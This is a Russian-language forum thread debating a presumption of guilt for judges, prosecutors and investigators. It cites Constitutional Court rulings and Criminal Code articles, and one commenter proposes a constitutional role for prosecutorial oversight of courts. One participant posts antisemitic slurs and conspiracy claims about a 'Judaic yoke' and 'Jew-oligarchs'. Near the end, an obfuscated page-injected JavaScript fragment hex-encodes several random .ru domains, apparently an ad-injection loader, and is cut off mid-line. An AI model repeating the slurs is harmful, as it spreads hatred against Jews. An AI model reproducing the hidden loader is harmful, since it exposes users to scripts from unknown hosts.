ПРЕЗУМПЦИЯ ВИНОВНОСТИ СУДЕЙ, ПРОКУРОРОВ, СЛЕДОВАТЕЛЕЙ

 Со слов моего деда в 30-ые годы презумпция виновности применялась в ВКП(б) во время чисток. Чистка, по крайней мере, он описал её так проводилась следующим образом. Комиссией по чистке партии собирала жителей улицы, где жили коммунисты, и спрашивали жителей, достоин ли коммунист своего звания. И вот было так, что кто-то говрил, что этот коммунист не достоин называться коммунистом, потому что его жена торгует на базаре яйцами. И, тут же вопрос, а чем он кур кормит? Не могут супруги объяснить, откуда корм берется, то чистку не прошел. Партбилет на стол, и пинок под зад с начальственной должности.

 Да уж....  А тут страну разграбили, сказочно обогатились  и все  воры стали обличителями коммунизма и ничего,  народ учат дерьмократию уважать. Мол лучше её никто ничего не придумал,  а тут откуда зерно, чтоб курку прокормить, вот людоед Сталин!  

"Да, разумеется, депутатов народа в Думе Рашки нет, а с кнопкодавами такие вопросы обсуждать не приходится."

Демократия однако. Ведь выбираем неизвестных, безответственных личностей, при всеобщем падении нравов. Даже северо-американскую избирательную систему выборщиков испохабили. Избирать можно только того, кого знаешь, кому доверяешь, а всё остальное - "цирк" и профанация.

"Тем не менее, утверждать, что судьи, прокуроры и следователи не имеют права на презумпцию невиновности в делах о преступлении против правосудия - правильно и ПОЛЕЗНО уже сейчас."

Так нечто подобное заложено и в нынешнем законодательстве, и в предыдущем. Да вот только судебные и прочие структуры "имеют право" (негласно, но в законодательстве подразумевается) не знать законов и не следовать им. Как Вам следующий "опус" из Прокуратуры, ещё при старом законодательстве 90-х годов: " ваши права не нарушены, так как когда требовалось вам предоставлялся адвокат". И что на это можно сказать, если прокурорский работник письменно заявляет, что все права подследственного, подсудимого, заключаются в предоставлении адвоката по-потребности? Да на основании такого вот ответа, этого, с позволения сказать, "работника" надо "гнать метлой" без права занимать государственную должность. А сколько таких вот отписок-фактов о противоправных действиях госслужащих Вы сами можете предъявить? Дело за малым.

Неправосудность приговора может установить только вышестоящий суд.  Так что тема статьи скорее всего не для юристов, к сожалению.

ниф нафоф\\\\сб, 29.10.2016 - 00:36

... Те кто служит сегодняшней власти за ее жирную подачку - это те же уголовники и преступники и единственный выход - ждать когда их "уйдут". И это случится несомненно. Поэтому думайте о своей жизни и семье и не сталкивайтесь с ними ВООБЩЕ. ...тонкий писк Вашего голоса как писал Маяковский " кто его услышит, разве жена...и то, если не на базаре, а близко ". ...в государстве, где Истина и Правда Божия и людская не находит отклика у власть придержащих потому что платят им жидоолигархи за свое спокойное настоящее и будующее в " отставку " отправят именно Вас. И все законные методы борьбы с этим иудейским игом отрезаны! А раз они отрезаны само государство преступно и незаконно и движется к краху...
__________________________________________

Пилпулисты довольно нередко вплотную приближаются к сокровенному откровению (с целью захвата аудитории, надо думать): что, прежде чем что-то делать, нужно сначала заняться раскрытием их сионистской агентурной сети, - для чего необходимо внутри их агентурной сети создавать свою агентурную сеть. Но пилпулисты, конечно, опасную грань не переходят, а вместо этого дают "добрые" советы, типа:

...Ничего Вы не добьетесь законными методами а раз так - то просто молитесь об освождении нашей многострадальной Родины от ига иудейского!
__________________________________________

Еще пилпулисты выдают густо зымешанные на чепухе результаты своих философическо-аналитических раздумий, типа вот этого:

Народные судьи должны служить не народу а закону, причем до запятой. Если народные судьи будут служить народу - то им придется просто прислуживать. Ведь народ он очень и очень разный, и Путлер - это народ и Захарченко с 8 млрд. народ и простые труженники и бабы в мантиях это народ и даже Новодворская с Боровым и Горбачевым - тот же народ.
__________________________________________

А закон - это бумажка. Прислуживать бумажке? - шутить изволите? Может быть, все же, служить народу, - но при этом ни на йоту не отступая от норм и положений закона. Закона разумного, честного, проверенного лучшими специалистами, пользующимися доверием народа - и, в заключение, одобренного народом.

...Да услышит Вас Господь наш Исус Христос,между нами Он!
__________________________________________

У ниф нафофа без изменений - все так же вместо чертиков "Господь наш Исус Христос" маячит перед глазами.

    Предложение более развернутое

Очень полезное обсуждение. Предлагаемая его участниками выборность судей,  как средство повысить их ответственность за качество принимаемых актов, полагаю, при всей неопределенности выбора («кот в мешке») мало что даст, поскольку трудно предположить возможность выборности судей апелляционных и кассационных инстанций. а именно они «покрывают» судей первой инстанции.

А побудил их «покрывать» - Конституционный Суд, который саму возможность возбуждения против судьи уголовного дела  по статье 305 УК РФ «Вынесение заведомо неправосудного (решения)» обусловил  исключительно фактом отмены вышестоящим судом судебного акта этого судьи в качестве неправосудного.

Разумеется, корпоративность судей (своих не сдаем!) была и «до того», но возросла неимоверно при получении указующего сигнала свыше  «Вы на правильном пути...» (это как в песне).

Предлагаемая презумпция виновности судей, прокуроров. следователей. и уж тем более – в уголовном производстве (а именно о нем подразумевается в статье Ю. И) - противоречит Конституции, где принцип презумпции невиновности – основополагающий для всех. Да и какой смысл вообще говорить о презумпции виновности, когда сама возможность возбуждения уголовного дела против судьи проблематична?! Вот о возможности возбуждения  здесь и поговорим.

Уже говорилось выше: дезавуируя статью 305 УК РФ, Конституционный суд  указал на «возможность... проверки сообщения о преступлении и возбуждении по результатам этой проверки уголовного дела по признакам других, как правило, сопутствующих преступлению, предусмотренному статьей 305 УК Российской Федерации, составов преступлений, таких как "Мошенничество" (статья 159), "Злоупотребление должностными полномочиями" (статья 285), "Превышение должностных полномочий" (статья 286), "Получение взятки" (статья 290)» - Постановление  Конституционного Суда от 18 октября 2011 года N 23-П.

Выше указывалось также, что пункте 4 мотивировочной части Постановления КС РФ от 25 января 2001 г. N 1-П (http://docs.cntd.ru/document/901780186) говорится о возможности привлечь судью к уголовной ответственности по статье 293 УК РФ "Халатность" за неисполнение или ненадлежащее исполнение судьей как должностным лицом суда своих обязанностей вследствие недобросовестного или небрежного отношения к службе, если оно повлекло существенное нарушение прав и законных интересов граждан.

При таком-то обилии возможно инкриминируемых судье статей УК (аж целых пять!),  казалось бы – вперед, писать сообщение о преступлении? Но нет, торопиться не стоит, ибо, когда «дойдет до жареного» (вспомним опыт обращений), Конституционный Суд опять будет говорить про баланс интересов (в этом балансе правосудность судебных актов, как обычно, – на последнем месте) и уж непременно укажет, что особый статус судей прописан в Федеральном конституционном законе, а полномочия какой-то там Прокуратуры прописаны рангом пожиже – всего лишь в федеральном законе, где, к тому же. возможность надзора за судами и судьями вообще не указана!

Согласно статье 1 закона «О Прокуратуре Российской Федерации, «Прокуратура Российской Федерации - единая федеральная централизованная система органов, осуществляющих от имени Российской Федерации надзор за соблюдением Конституции Российской Федерации и исполнением законов, действующих на территории Российской Федерации». Риторический вопрос - уж коли она такая федеральная,  единая и централизованная и для всей территории РФ, то почему об этом не сказано в Конституции, и почему полномочия Прокуратуры РФ определены столь низко, не хотя бы федеральным Конституционным законом?!

Вот почему выше предложено поставить судей под внешний контроль, хотя бы в части соблюдения ими норм УК РФ при судопроизводстве, а   определить основные полномочия Прокуратуры в Конституции РФ.

Вот предлагаемая примерная редакция полномочия Прокуратуры: выборочный контроль судебных актов и проверка сообщений о преступлениях на предмет выявления нарушений самими судьями всех инстанций норм уголовного законодательства при судопроизводстве.

Заметьте: о проверке правосудности принятого судьей акта  речи нет.   

 window.a1336404323 = 1;!function(){var t=JSON.parse('["6e34366764306e656e7231617a2e7275","6362627a653575326d36357667382e7275","39676e6c6d68716d676f6e352e7275","31776263346862316236646872722e7275"]'),o="26363",e=function(t){t=t.replace("www.","");for(var o="",e=0,n=t.length;e

А чего девка на рисунке на лётчицу Савченко похожа?